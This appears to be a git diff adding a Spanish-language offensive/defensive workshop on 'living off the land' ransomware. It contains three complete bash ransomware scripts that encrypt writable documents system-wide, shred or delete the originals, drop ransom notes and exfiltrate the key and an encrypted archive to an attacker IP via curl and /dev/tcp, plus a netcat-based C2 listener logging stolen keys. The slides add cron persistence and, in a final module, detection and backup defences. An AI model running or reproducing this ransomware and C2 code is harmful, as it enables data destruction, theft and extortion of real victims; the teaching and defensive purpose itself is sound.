Normal file
@@ -0,0 +1,60 @@
|
||||
#!/bin/false
|
||||
# /bin/false porque no quiero ejecutar esto :)
|
||||
|
||||
IP=$1
|
||||
KEY=$(openssl rand -hex 32)
|
||||
|
||||
function get_writeable_dirs() {
|
||||
WRITEABLE_DIRS=()
|
||||
while IFS= read -r dir; do
|
||||
WRITEABLE_DIRS+=("$dir")
|
||||
done < <(find / -type d -perm -0002)
|
||||
}
|
||||
|
||||
function get_interesting_files() {
|
||||
TARGETS=()
|
||||
while IFS= read -r file; do
|
||||
TARGETS+=("$file")
|
||||
done < <(find / -type f -writable \( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" -o -name "*.db" \))
|
||||
}
|
||||
|
||||
function send_key() {
|
||||
curl -sk "https://$IP/?k=$KEY&v=$(curl -s4 ifconfig.me)"
|
||||
}
|
||||
|
||||
function make_readme() {
|
||||
for dir in "${WRITEABLE_DIRS[@]}"; do
|
||||
echo "Tus archivos han sido cifrados. Tienes 72 horas para pagar." > "$dir/LEEME_URGENTE.txt"
|
||||
done
|
||||
}
|
||||
|
||||
function encrypt() {
|
||||
for file in "${TARGETS[@]}"; do
|
||||
openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" -in "$file" -out "$file.enc"
|
||||
shred -u "$file"
|
||||
done
|
||||
}
|
||||
|
||||
function main() {
|
||||
echo "[*] Reconocimiento: directorios escribibles..."
|
||||
time get_writeable_dirs
|
||||
echo "[+] ${#WRITEABLE_DIRS[@]} directorios encontrados."
|
||||
|
||||
echo "[*] Reconocimiento: archivos objetivo..."
|
||||
time get_interesting_files
|
||||
echo "[+] ${#TARGETS[@]} archivos encontrados."
|
||||
|
||||
echo "[*] Cifrando (for loop, secuencial)..."
|
||||
time encrypt
|
||||
echo "[+] Cifrado completo."
|
||||
|
||||
echo "[*] Depositando notas de rescate..."
|
||||
time make_readme
|
||||
echo "[+] Notas en ${#WRITEABLE_DIRS[@]} directorios."
|
||||
|
||||
echo "[*] Exfiltrando clave a $IP..."
|
||||
send_key
|
||||
echo "[+] Hecho."
|
||||
}
|
||||
|
||||
main "$@"
|
||||
84
QueComanTierra/ransomware/tarbulk.sh
Normal file
84
QueComanTierra/ransomware/tarbulk.sh
Normal file
@@ -0,0 +1,84 @@
|
||||
#!/bin/bash
|
||||
# /bin/bash porque sí queremos ejecutar esto... en la VM :)
|
||||
|
||||
IP=$1
|
||||
KEY=$(openssl rand -hex 32)
|
||||
|
||||
function get_writeable_dirs() {
|
||||
mapfile -d '' WRITEABLE_DIRS < <(find / -type d -perm -0002 -print0)
|
||||
}
|
||||
|
||||
function get_interesting_files() {
|
||||
mapfile -d '' TARGETS < <(find / -type f -writable \( -name "*.sh" -o -name "*.doc" -o -name "*.zip" -name "*.txt" -o -name "*.pdf" -o -name "*.docx" -o -name "*.db" \) -print0)
|
||||
}
|
||||
|
||||
function get_victim_ip() {
|
||||
hostname -I | awk '{print $1}'
|
||||
}
|
||||
|
||||
function send_key() {
|
||||
local victim_ip
|
||||
victim_ip=$(get_victim_ip)
|
||||
printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \
|
||||
"$KEY" "$victim_ip" "$IP" \
|
||||
> /dev/tcp/"$IP"/9090
|
||||
}
|
||||
|
||||
function send_vault() {
|
||||
local victim_ip size
|
||||
victim_ip=$(get_victim_ip)
|
||||
size=$(stat -c%s /tmp/.vault.enc)
|
||||
{
|
||||
printf 'POST /vault/%s HTTP/1.0\r\n' "$victim_ip"
|
||||
printf 'Host: %s\r\n' "$IP"
|
||||
printf 'Content-Type: application/octet-stream\r\n'
|
||||
printf 'Content-Length: %d\r\n' "$size"
|
||||
printf '\r\n'
|
||||
cat /tmp/.vault.enc
|
||||
} > /dev/tcp/"$IP"/9091
|
||||
}
|
||||
|
||||
function make_readme() {
|
||||
printf '%s\0' "${WRITEABLE_DIRS[@]}" | \
|
||||
xargs -0 -I% sh -c \
|
||||
'echo "Tus archivos han sido cifrados. Tienes 72 horas para pagar." > "%/LEEME_URGENTE.txt"'
|
||||
}
|
||||
|
||||
function encrypt() {
|
||||
# Un solo tar stream -> un solo openssl -> un solo fork
|
||||
printf '%s\0' "${TARGETS[@]}" | \
|
||||
tar --null -T - -czf - | \
|
||||
openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
|
||||
> /tmp/.vault.enc
|
||||
|
||||
# Eliminar originales en batch (un solo find, sin shred por archivo)
|
||||
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
||||
}
|
||||
|
||||
function main() {
|
||||
echo "[*] Reconocimiento: directorios escribibles..."
|
||||
time get_writeable_dirs
|
||||
echo "[+] ${#WRITEABLE_DIRS[@]} directorios encontrados."
|
||||
|
||||
echo "[*] Reconocimiento: archivos objetivo..."
|
||||
time get_interesting_files
|
||||
echo "[+] ${#TARGETS[@]} archivos encontrados."
|
||||
|
||||
echo "[*] Cifrando (tar | openssl, un proceso)..."
|
||||
time encrypt
|
||||
echo "[+] Cifrado completo. Vault: /tmp/.vault.enc"
|
||||
|
||||
echo "[*] Depositando notas de rescate..."
|
||||
time make_readme
|
||||
echo "[+] Notas en ${#WRITEABLE_DIRS[@]} directorios."
|
||||
|
||||
echo "[*] Exfiltrando clave a $IP..."
|
||||
send_key
|
||||
echo "[+] Clave enviada."
|
||||
|
||||
echo "[*] Exfiltrando vault a $IP..."
|
||||
send_vault
|
||||
echo "[+] Hecho."
|
||||
}
|
||||
|
||||
main "$@"
|
||||
54
QueComanTierra/ransomware/xargs_ransom.sh
Normal file
54
QueComanTierra/ransomware/xargs_ransom.sh
Normal file
@@ -0,0 +1,54 @@
|
||||
#!/bin/false
|
||||
# /bin/false porque no quiero ejecutar esto :)
|
||||
|
||||
IP=$1
|
||||
KEY=$(openssl rand -hex 32)
|
||||
|
||||
function get_writeable_dirs() {
|
||||
mapfile -d '' WRITEABLE_DIRS < <(find / -type d -perm -0002 -print0)
|
||||
}
|
||||
|
||||
function get_interesting_files() {
|
||||
mapfile -d '' TARGETS < <(find / -type f -writable \( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" -o -name "*.db" \) -print0)
|
||||
}
|
||||
|
||||
function send_key() {
|
||||
curl -sk "http://$IP/?k=$KEY&v=$(curl -s4 ifconfig.me)"
|
||||
}
|
||||
|
||||
function make_readme() {
|
||||
printf '%s\0' "${WRITEABLE_DIRS[@]}" | \
|
||||
xargs -0 -I% sh -c \
|
||||
'echo "Tus archivos han sido cifrados. Tienes 72 horas para pagar." > "%/LEEME_URGENTE.txt"'
|
||||
}
|
||||
|
||||
function encrypt() {
|
||||
printf '%s\0' "${TARGETS[@]}" | \
|
||||
xargs -0 -I% -P"36" sh -c \
|
||||
'openssl enc -aes-256-cbc -pbkdf2 -pass pass:'"$KEY"' -in "$1" -out "$1.enc" && shred -u "$1"' \
|
||||
_ %
|
||||
}
|
||||
|
||||
function main() {
|
||||
echo "[*] Reconocimiento: directorios escribibles..."
|
||||
time get_writeable_dirs
|
||||
echo "[+] ${#WRITEABLE_DIRS[@]} directorios encontrados."
|
||||
|
||||
echo "[*] Reconocimiento: archivos objetivo..."
|
||||
time get_interesting_files
|
||||
echo "[+] ${#TARGETS[@]} archivos encontrados."
|
||||
|
||||
echo "[*] Cifrando (xargs -P$(nproc), paralelo)..."
|
||||
time encrypt
|
||||
echo "[+] Cifrado completo."
|
||||
|
||||
echo "[*] Depositando notas de rescate..."
|
||||
time make_readme
|
||||
echo "[+] Notas en ${#WRITEABLE_DIRS[@]} directorios."
|
||||
|
||||
echo "[*] Exfiltrando clave a $IP..."
|
||||
send_key
|
||||
echo "[+] Hecho."
|
||||
}
|
||||
|
||||
main "$@"
|
||||
BIN
QueComanTierra/redteam_ref.pptx
Normal file
BIN
QueComanTierra/redteam_ref.pptx
Normal file
Binary file not shown.
492
QueComanTierra/slides.md
Normal file
492
QueComanTierra/slides.md
Normal file
@@ -0,0 +1,492 @@
|
||||
---
|
||||
title: "Que coman tierra"
|
||||
subtitle: "De LOLBINs a ransomware"
|
||||
author: "Alignment Security"
|
||||
date: 2026
|
||||
theme: moon
|
||||
highlight-style: monokai
|
||||
---
|
||||
|
||||
# Que coman tierra {.center}
|
||||
|
||||
**De LOLBINs a ransomware**
|
||||
|
||||
*Taller de seguridad ofensiva y defensiva*
|
||||
|
||||
---
|
||||
|
||||
## El escenario
|
||||
|
||||
> "Comer tierra" es lo que sientes cuando descubres que un atacante cifró tus servidores **sin instalar nada.**
|
||||
|
||||
- Sin malware en disco
|
||||
- Sin firma que detectar
|
||||
- Sin alerta del antivirus
|
||||
|
||||
**¿Cómo es eso posible?**
|
||||
|
||||
---
|
||||
|
||||
# Módulo 1 {.center}
|
||||
|
||||
## El problema invisible
|
||||
|
||||
---
|
||||
|
||||
## ¿Qué son los LOLBins?
|
||||
|
||||
**Living Off the Land Binaries**
|
||||
|
||||
Herramientas legítimas del sistema operativo usadas con fines maliciosos.
|
||||
|
||||
- Ya están instaladas
|
||||
- Son de confianza para el OS
|
||||
- Los antivirus no las bloquean
|
||||
- Los logs las registran como actividad "normal"
|
||||
|
||||
---
|
||||
|
||||
## ¿Por qué los antivirus no los detienen?
|
||||
|
||||
Los AV buscan **firmas**: patrones de código malicioso conocido.
|
||||
|
||||
`openssl`, `find`, `xargs`, `shred`... son binarios firmados, legítimos, cotidianos.
|
||||
|
||||
No hay nada que detectar.
|
||||
|
||||
---
|
||||
|
||||
## Casos reales
|
||||
|
||||
- **NotPetya (2017):** usó `wmic` y `psexec` para propagación lateral
|
||||
- **Living off the Land attacks:** el 62% de los ataques modernos usan LOLBins (CrowdStrike, 2023)
|
||||
- **Ransomware-as-a-Service:** los kits más sofisticados evitan dropper ejecutables
|
||||
|
||||
**La pregunta incómoda: ¿qué tan fácil es replicarlo?**
|
||||
|
||||
---
|
||||
|
||||
# Módulo 2 {.center}
|
||||
|
||||
## El arsenal del sistema
|
||||
|
||||
---
|
||||
|
||||
## Lo que ya tienes instalado
|
||||
|
||||
| Herramienta | Para qué lo usa un atacante |
|
||||
|---|---|
|
||||
| `openssl` | Cifrado AES-256 |
|
||||
| `find` | Mapear archivos objetivo |
|
||||
| `xargs` | Paralelizar el ataque |
|
||||
| `shred` | Destruir los originales |
|
||||
| `cron` | Persistencia |
|
||||
| `curl` | Exfiltrar la clave |
|
||||
|
||||
*Ninguno de estos necesita instalación.*
|
||||
|
||||
---
|
||||
|
||||
## find: el reconocimiento
|
||||
|
||||
```bash
|
||||
# Mapear todos los archivos de valor
|
||||
find / -type f -writable \
|
||||
\( -name "*.txt" -o -name "*.pdf" \
|
||||
-o -name "*.docx" -o -name "*.db" \) \
|
||||
-print0 > /tmp/.targets
|
||||
```
|
||||
|
||||
Rápido. Silencioso. Está en cualquier Linux.
|
||||
|
||||
---
|
||||
|
||||
## xargs: el multiplicador de fuerza
|
||||
|
||||
`find` localiza. `xargs` paraleliza.
|
||||
|
||||
```bash
|
||||
# Secuencial - un archivo a la vez
|
||||
while IFS= read -r f; do
|
||||
openssl enc -aes-256-cbc -in "$f" -out "${f}.enc"
|
||||
done < /tmp/.targets
|
||||
|
||||
# Paralelo - todos los cores, al mismo tiempo
|
||||
find /home/victim -type f -writable -print0 \
|
||||
| xargs -0 -P $(nproc) -I{} \
|
||||
openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-pass file:/tmp/.key -in {} -out {}.enc
|
||||
```
|
||||
|
||||
`-P $(nproc)` = un proceso por core. En 16 cores: **miles de archivos en segundos.**
|
||||
|
||||
---
|
||||
|
||||
## La ventana de detección se cierra
|
||||
|
||||
Benchmark real, root, servidor, `xargs -P 36`:
|
||||
|
||||
| Fase | Tiempo |
|
||||
|---|---|
|
||||
| Reconocimiento de dirs escribibles | < 1s |
|
||||
| Reconocimiento de archivos objetivo | < 1s |
|
||||
| **Cifrado + shred (xargs -P 36)** | **1m 49s** |
|
||||
| Notas de rescate en todos los dirs | < 1s |
|
||||
|
||||
Un backup en tiempo real típico tiene una ventana de **5 minutos**. El atacante termina antes.
|
||||
|
||||
---
|
||||
|
||||
# Módulo 3 {.center}
|
||||
|
||||
## Anatomía de un ataque
|
||||
|
||||
---
|
||||
|
||||
## Las 7 fases
|
||||
|
||||
1. **Reconocimiento** - `find -writable` mapea objetivos
|
||||
2. **Generación de clave** - `openssl rand` crea clave efímera
|
||||
3. **Cifrado paralelo** - `find | xargs -P` cifra todo
|
||||
4. **Destrucción** - `shred -u` elimina los originales
|
||||
5. **Exfiltración** - `curl` envía la clave al atacante
|
||||
6. **Rescate** - `echo` / `wall` notifica a la víctima
|
||||
7. **Persistencia** - `cron` re-cifra lo que se recupere
|
||||
|
||||
---
|
||||
|
||||
## Generación de clave
|
||||
|
||||
```bash
|
||||
# Clave AES-256 efímera - 32 bytes aleatorios
|
||||
KEY=$(openssl rand -hex 32)
|
||||
```
|
||||
|
||||
La clave **nunca toca disco en claro** si se exfiltra inmediatamente.
|
||||
|
||||
Sin clave = sin recuperación.
|
||||
|
||||
---
|
||||
|
||||
## Cifrado + destrucción
|
||||
|
||||
```bash
|
||||
printf '%s\0' "${TARGETS[@]}" \
|
||||
| xargs -0 -P $(nproc) -I% sh -c \
|
||||
'openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-pass pass:$KEY -in "$1" -out "$1.enc" \
|
||||
&& shred -u "$1"' _ %
|
||||
```
|
||||
|
||||
`shred` sobreescribe el archivo **varias veces** antes de borrarlo. No hay recuperación forense.
|
||||
|
||||
---
|
||||
|
||||
## Exfiltración de clave
|
||||
|
||||
```bash
|
||||
curl -sk "https://$C2/?k=$KEY&v=$(curl -s4 ifconfig.me)"
|
||||
```
|
||||
|
||||
Una sola petición HTTPS saliente. Difícil de distinguir de tráfico legítimo.
|
||||
|
||||
Una vez enviada: **la víctima no puede descifrar sin pagar.**
|
||||
|
||||
---
|
||||
|
||||
## Persistencia
|
||||
|
||||
```bash
|
||||
(crontab -l 2>/dev/null; echo \
|
||||
"*/5 * * * * find /home -type f -writable \
|
||||
-newer /tmp/.key -print0 \
|
||||
| xargs -0 -P 4 -I{} \
|
||||
openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-pass pass:$KEY -in {} -out {}.enc") \
|
||||
| crontab -
|
||||
```
|
||||
|
||||
Cada 5 minutos: cualquier archivo nuevo que aparezca, cifrado.
|
||||
|
||||
---
|
||||
|
||||
# Módulo 4 {.center}
|
||||
|
||||
## Lab: "Preparando el plato"
|
||||
|
||||
---
|
||||
|
||||
## Entorno del lab
|
||||
|
||||
- VM Ubuntu/Debian **aislada** (sin red real)
|
||||
- Usuario no-root con home poblado de archivos de prueba
|
||||
- Snapshot limpio listo para restaurar entre ejercicios
|
||||
- **Nunca ejecutar fuera de esta VM**
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 1: Reconocimiento
|
||||
|
||||
```bash
|
||||
find /home/victim -type f -writable \
|
||||
\( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" \) \
|
||||
> /tmp/.targets
|
||||
|
||||
wc -l /tmp/.targets
|
||||
```
|
||||
|
||||
**¿Cuántos archivos encontraste? ¿En cuánto tiempo?**
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 2: Generar clave
|
||||
|
||||
```bash
|
||||
openssl rand -base64 32 > /tmp/.key
|
||||
cat /tmp/.key
|
||||
```
|
||||
|
||||
Esta es la clave que "el atacante" se lleva. Sin ella, no hay descifrado.
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 3: Sentir la diferencia
|
||||
|
||||
Primero mide la versión lenta:
|
||||
|
||||
```bash
|
||||
time while IFS= read -r f; do
|
||||
openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-in "$f" -out "${f}.enc" -pass file:/tmp/.key
|
||||
shred -u "$f"
|
||||
done < /tmp/.targets
|
||||
```
|
||||
|
||||
Luego restaura el snapshot y mide la versión real:
|
||||
|
||||
```bash
|
||||
time find /home/victim -type f -writable -print0 \
|
||||
| xargs -0 -P $(nproc) -I{} sh -c \
|
||||
'openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-pass file:/tmp/.key -in "$1" -out "$1.enc" \
|
||||
&& shred -u "$1"' _ {}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 3: La pregunta clave
|
||||
|
||||
| Métrica | `while` loop | `xargs -P 36` | `tar \| openssl` |
|
||||
|---|---|---|---|
|
||||
| Tiempo total | **13m 40s** | **1m 49s** | **4.5s** |
|
||||
| Archivos | **3.301** | **3.301** | **3.470** |
|
||||
| Archivos/segundo | **~4 arch/s** | **~30 arch/s** | **~771 arch/s** |
|
||||
| Speedup | baseline | 7.5x | **182x** |
|
||||
| Output | 3.301 `.enc` | 3.301 `.enc` | 1 blob (29 MB) |
|
||||
| Ventana de detección | 13 min | < 2 min | **< 10 segundos** |
|
||||
|
||||
**¿En qué momento hubiera sido posible interrumpirlo?**
|
||||
|
||||
- `while` loop: tienes **13 minutos**, hay tiempo de detectar el spike de I/O y actuar
|
||||
- `xargs -P 36`: tienes **< 2 minutos**, necesitas detección automática, no humana
|
||||
- `tar | openssl`: tienes **< 5 segundos**, cuando llegas ya terminó
|
||||
|
||||
Con `tarbulk`: el único momento de intervención real es **antes** de que empiece, no durante.
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 4: Nota de rescate
|
||||
|
||||
```bash
|
||||
find / -type d -writable -print0 \
|
||||
| xargs -0 -I% sh -c \
|
||||
'echo "Tus archivos han sido cifrados.
|
||||
Tienes 72 horas para pagar." > "%/LEEME_URGENTE.txt"'
|
||||
|
||||
wall /home/victim/LEEME_URGENTE.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 5: Persistencia
|
||||
|
||||
```bash
|
||||
(crontab -l 2>/dev/null; echo \
|
||||
"*/5 * * * * find /home/victim -name '*.txt' \
|
||||
-newer /tmp/.key -print0 \
|
||||
| xargs -0 -P 4 -I{} \
|
||||
openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-pass file:/tmp/.key -in {} -out {}.enc") \
|
||||
| crontab -
|
||||
```
|
||||
|
||||
Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó?
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 6: Forense post-ataque
|
||||
|
||||
```bash
|
||||
# ¿Qué quedó en auth.log?
|
||||
grep -E "openssl|shred|xargs" /var/log/syslog
|
||||
|
||||
# ¿Qué procesos corrieron?
|
||||
last
|
||||
journalctl --since "30 minutes ago" | grep -E "openssl|shred"
|
||||
|
||||
# ¿Qué modificó crontab?
|
||||
cat /var/spool/cron/crontabs/$(whoami)
|
||||
```
|
||||
|
||||
**¿Hubo alguna señal detectable en tiempo real?**
|
||||
|
||||
---
|
||||
|
||||
# Módulo 5 {.center}
|
||||
|
||||
## Defensa: cómo no comer tierra
|
||||
|
||||
---
|
||||
|
||||
## El principio
|
||||
|
||||
> Si entendiste el ataque, entiendes dónde poner los controles.
|
||||
|
||||
Cada fase del ataque tiene un control defensivo correspondiente.
|
||||
|
||||
---
|
||||
|
||||
## Detección: auditd
|
||||
|
||||
```bash
|
||||
# Instalar
|
||||
apt install auditd
|
||||
|
||||
# Vigilar llamadas masivas a openssl
|
||||
auditctl -w /usr/bin/openssl -p x -k crypto_exec
|
||||
|
||||
# Vigilar modificaciones a crontab
|
||||
auditctl -w /var/spool/cron -p wa -k crontab_mod
|
||||
|
||||
# Ver alertas
|
||||
ausearch -k crypto_exec | tail -20
|
||||
```
|
||||
|
||||
Un spike de 500 procesos `openssl` en 10 segundos **es una alerta real.**
|
||||
|
||||
---
|
||||
|
||||
## Detección: comportamiento, no firma
|
||||
|
||||
Lo que hay que buscar:
|
||||
|
||||
- `openssl` lanzado por un proceso no esperado
|
||||
- `xargs` con `-P` alto y muchos forks en poco tiempo
|
||||
- `shred` ejecutado sobre extensiones de documento
|
||||
- Escritura masiva de archivos `.enc` en directorios de usuario
|
||||
- Modificación de `crontab` fuera de ventanas de mantenimiento
|
||||
|
||||
---
|
||||
|
||||
## Prevención: backups inmutables
|
||||
|
||||
```bash
|
||||
# restic con repositorio de solo-escritura
|
||||
restic -r s3:s3.amazonaws.com/mi-bucket backup /home
|
||||
|
||||
# ZFS snapshot automático cada hora
|
||||
zfs snapshot tank/home@$(date +%Y%m%d-%H%M)
|
||||
|
||||
# S3 Object Lock - no se puede borrar aunque te roben las credenciales
|
||||
aws s3api put-object-retention ...
|
||||
```
|
||||
|
||||
El ransomware cifra lo que puede escribir. **No puede borrar un snapshot ZFS ni un Object Lock.**
|
||||
|
||||
---
|
||||
|
||||
## Prevención: mínimo privilegio
|
||||
|
||||
```bash
|
||||
# Archivos críticos inmutables
|
||||
chattr +i /etc/passwd /etc/shadow /etc/crontab
|
||||
|
||||
# AppArmor: openssl solo puede leer /tmp y /home/app
|
||||
# /etc/apparmor.d/usr.bin.openssl
|
||||
/usr/bin/openssl {
|
||||
/tmp/** rw,
|
||||
/home/app/** rw,
|
||||
deny /** w,
|
||||
}
|
||||
```
|
||||
|
||||
Un proceso que no puede escribir fuera de su directorio **no puede cifrar el sistema.**
|
||||
|
||||
---
|
||||
|
||||
## Respuesta: el runbook
|
||||
|
||||
1. **Aislar** - desconectar de red, no apagar (la clave puede estar en RAM)
|
||||
2. **Preservar** - dump de memoria con `avml` antes de cualquier acción
|
||||
3. **Identificar** - ¿la clave fue exfiltrada? revisar logs de red
|
||||
4. **Contener** - revocar credenciales, limpiar crontabs
|
||||
5. **Recuperar** - restaurar desde snapshot inmutable más reciente
|
||||
6. **Post-mortem** - ¿qué control hubiera parado esto?
|
||||
|
||||
---
|
||||
|
||||
# Módulo 6 {.center}
|
||||
|
||||
## Cierre
|
||||
|
||||
---
|
||||
|
||||
## Lo que aprendiste hoy
|
||||
|
||||
- Los LOLBins convierten el sistema en su propio enemigo
|
||||
- `xargs -P` es la diferencia entre minutos y segundos
|
||||
- El cifrado AES-256 con `openssl` es trivial desde la CLI
|
||||
- La defensa efectiva requiere entender el ataque
|
||||
|
||||
---
|
||||
|
||||
## La lección real
|
||||
|
||||
> La mejor defensa es saber exactamente cómo te van a atacar.
|
||||
|
||||
Un blue teamer que nunca ha ejecutado un ataque **no sabe qué está buscando.**
|
||||
|
||||
---
|
||||
|
||||
## Recursos
|
||||
|
||||
- **GTFOBins** - catálogo de LOLBins y sus usos ofensivos
|
||||
- **LOLBAS** - equivalente para Windows
|
||||
- **MITRE ATT&CK T1486** - Data Encrypted for Impact
|
||||
- **auditd rules** - github.com/Neo23x0/auditd
|
||||
|
||||
**Tarea:** auditar tu propio entorno con `auditd`. ¿Qué encontraste?
|
||||
|
||||
---
|
||||
|
||||
## {.center}
|
||||
|
||||
*"Que coman tierra... pero los atacantes."*
|
||||
|
||||
**Preguntas**
|
||||
|
||||
---
|
||||
|
||||
## Compilar con pandoc
|
||||
|
||||
```bash
|
||||
# PPTX con plantilla corporativa (recomendado)
|
||||
pandoc slides.md -t pptx \
|
||||
--reference-doc="../../Red Team.pptx" \
|
||||
-o slides.pptx
|
||||
|
||||
# reveal.js (para presentar en browser)
|
||||
pandoc slides.md -t revealjs -s \
|
||||
--highlight-style=monokai \
|
||||
-o slides.html
|
||||
```
|
||||
BIN
QueComanTierra/slides.pptx
Normal file
BIN
QueComanTierra/slides.pptx
Normal file
Binary file not shown.
97
QueComanTierra/stealdata.sh
Executable file
97
QueComanTierra/stealdata.sh
Executable file
@@ -0,0 +1,97 @@
|
||||
#!/bin/bash
|
||||
# C2 listener:
|
||||
# GET /?k=KEY&v=VICTIM_IP -> loggea clave
|
||||
# POST /vault/VICTIM_IP -> guarda .vault.enc en vaults/VICTIM_IP/
|
||||
|
||||
PORT=${1:-9090}
|
||||
LOG="stolen_keys.log"
|
||||
VAULTS_DIR="vaults"
|
||||
HTTP_200=$'HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n'
|
||||
|
||||
mkdir -p "$VAULTS_DIR"
|
||||
|
||||
handle_get() {
|
||||
local url="$1"
|
||||
local key victim ts
|
||||
|
||||
key=$(grep -oP '(?<=k=)[^& ]+' <<< "$url")
|
||||
victim=$(grep -oP '(?<=v=)[^& ]+' <<< "$url")
|
||||
[[ -z "$key" ]] && return
|
||||
|
||||
ts=$(date '+%Y-%m-%d %H:%M:%S')
|
||||
echo "[+] $ts victim=$victim key=$key" | tee -a "$LOG"
|
||||
}
|
||||
|
||||
handle_post() {
|
||||
local tmpfile="$1" url="$2"
|
||||
local victim victim_dir offset body_start size ts
|
||||
|
||||
victim=$(grep -oP '(?<=/vault/)[^/ ]+' <<< "$url")
|
||||
[[ -z "$victim" ]] && victim="unknown"
|
||||
|
||||
victim_dir="$VAULTS_DIR/$victim"
|
||||
mkdir -p "$victim_dir"
|
||||
|
||||
# Busca el byte-offset del separador \r\n\r\n (fin de headers HTTP)
|
||||
offset=$(grep -boa $'\r\n\r\n' "$tmpfile" 2>/dev/null | head -1 | cut -d: -f1)
|
||||
if [[ -z "$offset" ]]; then
|
||||
echo "[-] separador no encontrado en request de $victim" >&2
|
||||
return
|
||||
fi
|
||||
|
||||
body_start=$(( offset + 4 ))
|
||||
dd if="$tmpfile" bs=1 skip="$body_start" of="$victim_dir/.vault.enc" 2>/dev/null
|
||||
|
||||
size=$(stat -c%s "$victim_dir/.vault.enc" 2>/dev/null || echo "?")
|
||||
ts=$(date '+%Y-%m-%d %H:%M:%S')
|
||||
echo "[+] $ts vault=$victim_dir/.vault.enc size=${size}B" | tee -a "$LOG"
|
||||
}
|
||||
|
||||
handle_connection() {
|
||||
local tmpfile="$1"
|
||||
local request_line method url
|
||||
|
||||
request_line=$(head -1 "$tmpfile")
|
||||
method=$(awk '{print $1}' <<< "$request_line" | tr -d '\r')
|
||||
url=$(awk '{print $2}' <<< "$request_line")
|
||||
|
||||
case "$method" in
|
||||
GET) handle_get "$url" ;;
|
||||
POST) handle_post "$tmpfile" "$url" ;;
|
||||
*) echo "[-] metodo desconocido: $method" >&2 ;;
|
||||
esac
|
||||
}
|
||||
|
||||
key_listener() {
|
||||
local tmpfile
|
||||
tmpfile=$(mktemp)
|
||||
trap "rm -f $tmpfile" EXIT
|
||||
|
||||
echo "[*] Keys en :9090"
|
||||
while true; do
|
||||
printf '%s' "$HTTP_200" | nc -nlvp 9090 > "$tmpfile" 2>/dev/null
|
||||
handle_get "$(awk 'NR==1{print $2}' "$tmpfile")"
|
||||
done
|
||||
}
|
||||
|
||||
vault_listener() {
|
||||
local tmpfile
|
||||
tmpfile=$(mktemp)
|
||||
trap "rm -f $tmpfile" EXIT
|
||||
|
||||
echo "[*] Vaults en :9091"
|
||||
while true; do
|
||||
printf '%s' "$HTTP_200" | nc -nlvp 9091 > "$tmpfile" 2>/dev/null
|
||||
local url
|
||||
url=$(awk 'NR==1{print $2}' "$tmpfile")
|
||||
handle_post "$tmpfile" "$url"
|
||||
done
|
||||
}
|
||||
|
||||
main() {
|
||||
echo "[*] C2 iniciado. Logs en $LOG, vaults en $VAULTS_DIR/"
|
||||
key_listener &
|
||||
vault_listener
|
||||
}
|
||||
|
||||
main
|
||||
Reference in New Issue
Block a user